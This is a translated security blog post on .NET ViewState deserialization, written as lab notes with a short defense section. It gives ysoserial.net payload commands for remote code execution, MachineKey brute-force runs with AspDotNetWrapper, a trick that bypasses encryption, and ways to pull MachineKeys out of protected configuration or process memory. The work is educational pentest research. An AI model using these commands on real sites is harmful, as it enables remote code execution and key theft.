

# .NET ViewState deserialization (Chaitin)

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## Content

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.NET Deserialization -- ViewState | Changting Baichuan Cloud

## .NET Deserialization -- ViewState

ZeroSense Technology

2.7k

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[Original link](#)

.NET Deserialization -- ViewState

### 1. Background

In previous penetration testing projects, I encountered some IIS sites, and unsurprisingly, they all used ViewState. However, at that time, my understanding of .NET deserialization was not deep enough, so I was unable to exploit it successfully. I'm taking this opportunity to systematically learn about .NET deserialization and make some notes.

### 2. Related Introduction

#### 2.1. ViewState Mechanism

Here's a picture I borrowed:

Here's a simple explanation:

The HTTP protocol is a stateless protocol, meaning each request is independent. To enable the client and server to "identify" each other (primarily the server's "identification" of the client), web applications often use mechanisms such as cookies to maintain a session. For

example, the server stores session state information, and the client uses cookies or other identifiers to tell the server which session it corresponds to.

ViewState is also a state management mechanism, but it serializes the session state on the server side and returns it for the client to save. Specifically, after a request, the server's response embeds several hidden form fields. The serialized values of these form fields represent the session state. On subsequent client requests, these form fields are automatically included. The server receives these forms, deserializes the corresponding values to restore the session state, and then responds accordingly based on the state.

The advantage of ViewState is that it saves the server the cost of saving and managing session state. However, it brings another problem: the "control" of ViewState is transferred to the client. Although there are verification and encryption mechanisms, there is still a risk of key leakage. Once decryption and verification are passed, it will enter the deserialization process, which also poses a risk of being maliciously exploited.

We can control whether ViewState is enabled in web.config.

```
<pages `` enableViewState="false" [Bool]` `enableViewStateMac="false" [Bool]`  
`viewStateEncryptionMode="Always" [Always | Auto | Never]``/>
```

## 2.2 MACHINEKEY

As mentioned above, ViewState has a verification and encryption mechanism, and MACHINEKEY is a configuration item related to its encryption and verification keys.

```
<machineKey `` validationKey="AutoGenerate,IsolateApps" [String]`  
`decryptionKey="AutoGenerate,IsolateApps" [String]` `validation="HMACSHA256" [SHA1 | MD5  
| 3DES | AES | HMACSHA256 |` ` HMACSHA384 | HMACSHA512 | alg:algorithm_name]`  
`decryption="Auto" [Auto | DES | 3DES | AES | alg:algorithm_name]``/>
```

## 3. ViewState sequence and encryption/decryption related logic

The detailed process of ViewState encryption and verification has already been extensively studied by experts. The following analysis will be based on the research findings cited in this article:

Article link: <https://paper.seebug.org/1386/>

(This article is very detailed and insightful; if you are interested in the causes of the ViewState deserialization vulnerability, it is recommended that you read the full article.)

### 3.1. Serialization and Deserialization Logic

Several key points are contained in the quotation:

-

ViewState is passively parsed, meaning that even if enableViewState is configured as false in web.config, the ASP.NET server will always parse the ViewState parameter from the

client. In other words, `enableViewState` only affects the generation of `ViewState` and does not affect the server's passive parsing of it.

-

Since .NET Framework 4.5.2, Microsoft has enforced `ViewState Mac` verification, which means that by default, a `MachineKey` is required to use `ViewState`.

The essence of the cited text lies in its detailed analysis of the `ViewState` serialization and deserialization process. `ViewState` serialization and deserialization are performed using `ObjectStateFormatter`, which is summarized here with a simplified flowchart:

### **Serialization:**

Supplemented with textual description:

-

`EncryptOrDecryptData()` is the encryption and decryption function. This function will be entered when the `viewStateEncryptionMode` option is enabled in the configuration file.

-

`GetEncodeData()` is a signature function. Due to the KB2905247 patch, `ViewState MAC` is forcibly enabled by default. There are two ways to disable it: 1. Modify the corresponding registry entry; 2. Enable insecure deserialization in `web.config`. `enableViewStateMAC` in `web.config` will only take effect if `EnforceViewStateMAC` is disabled.

-

It is worth noting that `EncryptOrDecryptData()` not only encrypts, but also signs.

Deserialization:

(The source of `_page.EnableViewStateMac` here is the same as in the "Serialization" section above, so it is omitted.)

Text description:

-

The determination of the value of `_page.EnableViewStateMac` is the same as that described in the deserialization section above, so it is omitted in this diagram. It is still affected by `EnforceViewStateMac`.

-

In ASP.NET, the condition for determining whether `ViewState` is encrypted is whether the request contains the `"__VIEWSTATEENCRYPTED"` item. In some cases, we can use this to bypass encryption.

## **3.2. Encryption, decryption, signature, and verification logic**

The specific algorithm is not the focus of this article, but we will still extract some key points from the cited text and code them as knowledge points:

-

The GetEncodedData() signature function signs the data and appends the signed data to the end of the original data. In particular, if the signature algorithm is specified as 3DES or AES, an overloaded EncryptOrDecryptData() will be called to encrypt the data.

-

The EncryptOrDecryptData() function performs encryption and decryption, but also signs the data. The final result is: \*  $E(iv + buf + modifier) + HMAC(E(iv + buf + modifier))$ . The result is in the VIEWSTATE field of the returned result, **while the modifier is in the VIEWSTATEGENERATOR field.**

-

The GetDecodedData() verification function is the opposite of GetEncodedData().

-

The modifier comes from the GetMacKeyModifier() function:

-

If ViewStateUserKey exists, then modifier = pageHashCode + ViewStateUserKey;

-

If ViewStateUserKey is not present, then modifier = pageHashCode;

-

ViewStateUserKey is a random string value that is associated with the user in some way.

#### 4. Simulated Environment Testing

As mentioned above, the "protection" of ViewState includes validation and encryption, and different strategies are used for different combinations.

Test environment: Windows Server 2016

Since this test focuses primarily on the effectiveness of VIEWSTATE deserialization, to facilitate testing and provide a more intuitive display of the results, I've elevated the IIS application pool privileges to the local system level. The method is as follows:

As mentioned above, Microsoft now forces ViewState MAC to be enabled by default, so you need to turn this option off in the configuration file. Of course, modifying the registry key can achieve the same effect:

Method 1: Add the following to web.config:

```
<appSettings>`      <add key="aspnet:AllowInsecureDeserialization" value="true"
/>`</appSettings>`
```

Method 2: Modify the registry:

HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft.NETFramework\v{VersionHere}\AspNetEnforceViewStateMac has a value of 0

Next, we'll use a simple file upload web application page for testing:

Then the test environment was set up.

The following testing section references: [https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-\\_\\_viewstate-parameter](https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter)

This article presents a relatively clear testing approach and provides a tool that can be used to brute-force enumeration of MachineKey.

<https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper>

#### 4.1. TestCase-1: Unsigned and unencrypted.

The web.config file is configured to enable ViewState, but not MAC authentication and encryption.

```
<configuration>`    <system.web>`        <pages`            enableViewState="true"
`            enableViewStateMac="false"    `            viewStateEncryptionMode="Never"
`        />`        <customErrors mode="Off"/>`    </system.web>`    <appSettings>`
`<add key="aspnet:AllowInsecureDeserialization" value="true" />`
`</appSettings>`</configuration>
```

If you then access the corresponding page, you will find that the page returns some hidden form items, among which the \_\_VIEWSTATE item is the serialized value, which is what we are using.

Burp Suite has a built-in function to parse ViewState, which displays the corresponding information in the response. It also indicates the current ViewState status (whether MAC is enabled or encrypted). For example, if the current page's ViewState is not MAC enabled...

For ViewState that has no protection, you can directly use ysoserial.net to generate the payload.

```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo test1 >
C:\temptest\test1.txt"
```

Reconstruct a normal request, replacing the \_\_VIEWSTATE field with the generated payload:

If the page returns a 500 error, check if the command was executed successfully.

Execution successful

#### 4.2. TestCase2: Signed, Unencrypted

If signatures are enabled, the data returned by the server will have verification information at the end. Without knowing the MachineKey, we cannot make our payment pass the verification and therefore cannot trigger deserialization, unless we obtain the MachineKey using other methods, which would require brute-force enumeration.

We'll use the AspDotNetWrapper tool mentioned above to brute-force MachineKeys. To verify its effectiveness, we'll select a MachineKey already in the dictionary during configuration for testing. (This is only for verifying the tool's effectiveness; in a real-world environment, it's often very difficult to brute-force a MachineKey.)

web.config:

```
<configuration>
  <system.web>
    <pages
      enableViewState="true"
      enableViewStateMac="true"
      viewStateEncryptionMode="Never"
    />
    <customErrors mode="Off"/>
    <machineKey
      validationKey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"
      decryptionKey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4"
      validation="SHA1"
      decryption="AES"
    />
  </system.web>
  <appSettings>
    <add key="aspnet:AllowInsecureDeserialization" value="true" />
  </appSettings>
</configuration>
```

When you access the page again at this point, Burp Suite will indicate that ViewState has enabled MAC verification.

Next, let's try out the effect of bursting MachineKey:

Returned ViewState:

Let the program run:

```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata
/wEPDwUJMjM0MDYzMjM2D2QWAgIDdxYCHgdIbmN0eXBIBRNtdWx0aXBhcnQvZm9ybS1kYX
RhFgIC
AQ8PFgleBFRleHQFE0M6XGluZXRwdWJcd3d3cm9vdFwkZGR1W+BiwusT65xqg+ZK+LsGaA
Cy1w== --decrypt --purpose=ViewState --modifier=69164837 --macdecode
```

The program obtains MachineKey through enumeration.

Then ysoserial generates the corresponding payload.

```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo test2 >
C:\temptest\test2.txt" --generator=69164837 --validationlg="SHA1" --
validationkey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6
035F4F"
```

Verification results:

Execution successful

### 4.3. Encryption of testCase3 (.NET Framework < 4.5)

As mentioned above, the EncryptOrDecryptData() function also performs verification, so it must also perform verification for ViewState with encryption enabled.

Unfortunately, AspDotNetWrapper cannot brute-force encrypted ViewState in .NET Framework < 4.5.

However, as mentioned above, ASP.NET determines encryption based on whether the request header contains the `__VIEWSTATEENCRYPTED` field. Therefore, if we don't include this parameter in our request, ASP.NET won't attempt to decrypt. In this case, if we know the MachineKey (which we can't currently obtain through brute force, but only through other means), we can disregard encryption when constructing the payload.

Enable encryption in web.config

```
<configuration>
  <system.web>
    <pages
      enableViewState="true"
      enableViewStateMac="true"
      viewStateEncryptionMode="Always"
    />
    <customErrors mode="Off"/>
    <machineKey
      validationKey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"
      decryptionKey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4"
      validation="SHA1"
      decryption="AES"
    />
  </system.web>
  <appSettings>
    <add key="aspnet:AllowInsecureDeserialization" value="true" />
  </appSettings>
</configuration>
```

When you then try to access the page again, Burp Suite reports that ViewState is encrypted.

Assuming we already know the MachineKey (which we have always known), we can construct the payload using only the validation key, regardless of encryption.

```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo test3 >
C:\temptest\test3.txt" --generator=69164837 --validationlg="SHA1" --
validationkey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6
035F4F"
```

Then remove the `__VIEWSTATEENCRYPTED` parameter from the constructed POST request.

Verification results:

Execution successful

#### 4.4. Encryption of testCase4 (.NET Framework >= 4.5)

If using encryption methods based on .NET Framework 4.5 or later, it was found during experiments that deleting `__VIEWSTATEENCRYPTED` to bypass encryption verification, as in testCase 3, no longer works. However, AspDotNetWrapper supports brute-forcing the MachineKey in this situation.

(In the test environment, you can force the use of encryption methods above 4.5 by setting the compatibility parameters of MachineKey.)

web.config

```

`<configuration>`      `<system.web>`      `<pages`      `enableViewState="true"
``      enableViewStateMac="true"  ``      viewStateEncryptionMode="Always"
``      />`      `<customErrors mode="Off"/>`      `<machineKey`
`validationKey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"`
`decryptionKey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4"`
`validation="SHA1"`      `decryption="AES"`
`compatibilityMode="Framework45"`      `/>`      `</system.web>`      `<appSettings>`
`<add key="aspnet:AllowInsecureDeserialization" value="true" />`
`</appSettings>`      `</configuration>`

```

Try using MachineKey brute force:

ViewState related forms returned by the page:

MachineKey Explosion

```

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata
A8e/FkDU5napMoKJ/CkyFhmPlosC4OmRfeFCcBV0q1LN//avhGcA7Vr/utvWc4Y3A/5tnJjeA3rbF
f8SLPFDuuP+
+lbLTsPIYjryerxt6iR9qYwdYc5h7+Qldb37uY13L0UDmYE+k2TuOdL2Pixjy450o8uj13ebUbNH
QCh5Ak+b1IB8 --decrypt --purpose=ViewState --IISDirPath "/" --TargetPagePath
"/upload.aspx"

```

Then, we use ysoserial.net to generate a payload to verify whether we can successfully exploit this vulnerability.

```

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo test4 >
C:\temptest\test4.txt" --apppath="/" --path="/upload.aspx" --decryptionalg="AES" --
decryptionkey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F6
93DF5F4" --validationalg="SHA1" --
validationkey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6
035F4F"

```

Verification results:

Execution successful

## 5. Defense

The main point is that if a website must use ViewState for state control, in addition to enabling authentication and encryption, it is also crucial to protect the MachineKey, or in other words, to protect configuration files such as web.config.

For example, if the site has other vulnerabilities such as file inclusion or arbitrary file reading, then the contents of web.config are at risk of being leaked, as described in the scenario at **HITCON CTF 2018 - Why so Serials?**

However, ASP.NET provides an auxiliary mechanism that can be used to encrypt web.config, including encrypting the MachineKey field.

## 5.1 Protected Configuration

This is an excerpt from the official introduction:

```
`.NET Framework 提供了多种加密配置的方法。RsaProtectedConfigurationProvider 和  
RSACryptoServiceProvider 是 Windows 的 API  
DPAPI 的封装。RSA 和 DPAPI 是两种不同的加密方法。  
ProtectedConfigurationProvider 是 .NET Framework 的基类。
```

We can use existing encryption methods to encrypt the configuration, or we can even write our own unique encryption algorithm.

Official introduction:

[https://docs.microsoft.com/en-us/previous-versions/aspnet/53tyfkaw\(v=vs.100\)](https://docs.microsoft.com/en-us/previous-versions/aspnet/53tyfkaw(v=vs.100))

<https://docs.microsoft.com/zh-cn/dotnet/api/system.configuration.protectedconfigurationprovider?view=dotnet-plat-ext-5.0>

Taking RsaProtectedConfigurationProvider as an example, encrypting web application configuration files generally involves the following process (for reference only):

-

Create an RSA key container (machine-level):

```
aspnet_regiis -pc "SampleKeys" -exp
```

-

Grant access permissions to the key container to the web application's "owner".

```
aspnet_regiis -pa "SampleKeys" "NT AUTHORITY\NETWORK SERVICE"
```

-

Use the key container to encrypt the sections in the specified configuration file (if the provider is not specified with -prov, it defaults to RsaProtectedConfigurationProvider).

```
aspnet_regiis -pe "connectionStrings" -app "/MyApplication"
```

There are a few points worth noting in the official documentation:

-

The key container can be imported, exported, deleted, and transferred. As long as the algorithm standard used is the same, the key container and the encrypted configuration file can be migrated to another machine together.

-

The purpose of Protected Configuration is to protect sensitive information in the configuration file from being saved directly in plaintext. However, when an application instance is created, the decrypted configuration file information will still be loaded into memory, ensuring that it can be read by the ASP.NET program.

### **Decryption approach:**

This protection measure improves the web application's ability to resist external intrusion to some extent. However, attackers may still enter through other channels, and can still exploit the features mentioned above to crack the application.

There are roughly three ways:

### **Export the key container and crack it on another fully controlled computer:**

-

Export key container

```
aspnet_regiis -px "SampleKeys" keys.xml -pri
```

-

Import the key container to another computer

```
aspnet_regiis -pi "SampleKeys" keys.xml
```

-

Copy the configuration file to be decrypted to the local web directory, and then decrypt it.

```
aspnet_regiis -pd "connectionStrings" -app "/TempApplication"
```

### **Decrypt on the other party's machine:**

In a location that can parse ASP.NET applications, or in the corresponding web directory, write an ASP or ASPX script. The script's content is to read relevant configuration parameters, or it can directly read the corresponding configuration. Taking the official script as an example:

```

`<%@ Page Language="VB" %>` `<%@ Import Namespace="System.Configuration" %>` `<%@ Import
Namespace="System.Web.Configuration" %>` `<script runat="server">` `    `Public Sub
Page_Load() ` `    `    `ConnectionStringsGrid.DataSource =
ConfigurationManager.ConnectionStrings `    `ConnectionStringsGrid.DataBind() ` `    `Dim
config As System.Configuration.Configuration = _
`WebConfigurationManager.OpenWebConfiguration(Request.ApplicationPath) ` `Dim key As
MachineKeySection = _ `    `CType(config.GetSection("system.web/machineKey"),
MachineKeySection) ` `DecryptionKey.Text = key.DecryptionKey ` `ValidationKey.Text =
key.ValidationKey ` `    `End Sub ` `</script>` `<html>` `    `<body>` `    `<form
runat="server">` `    `    `<asp:GridView runat="server" CellPadding="4"
id="ConnectionStringsGrid" /> ` `    `<P> ` `MachineKey.DecryptionKey = <asp:Label
runat="Server" id="DecryptionKey" /><BR> ` `MachineKey.ValidationKey = <asp:Label
runat="Server" id="ValidationKey" /> ` `    `</form> ` `    `</body> ` `</html>`

```

Referenced from: [https://docs.microsoft.com/en-us/previous-versions/aspnet/dtkwfdky\(v=vs.100\)](https://docs.microsoft.com/en-us/previous-versions/aspnet/dtkwfdky(v=vs.100)))

## Ultimate Solution

We can use tools like procdump to dump the memory of the corresponding process and find the values of the fields we want from the memory. This will not be shown here.

## Reference Links

Links to articles mentioned or cited in this article:

<https://paper.seebug.org/1386/> [https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-\\_\\_viewstate-parameter](https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter) <https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper> [https://docs.microsoft.com/en-us/previous-versions/aspnet/53tyfkaw\(v=vs.100\)](https://docs.microsoft.com/en-us/previous-versions/aspnet/53tyfkaw(v=vs.100)) ) <https://docs.microsoft.com/zh-cn/dotnet/api/system.configuration.protectedconfigurationprovider?view=dotnet-plat-ext-5.0> [https://docs.microsoft.com/en-us/previous-versions/aspnet/dtkwfdky\(v=vs.100\)](https://docs.microsoft.com/en-us/previous-versions/aspnet/dtkwfdky(v=vs.100)))

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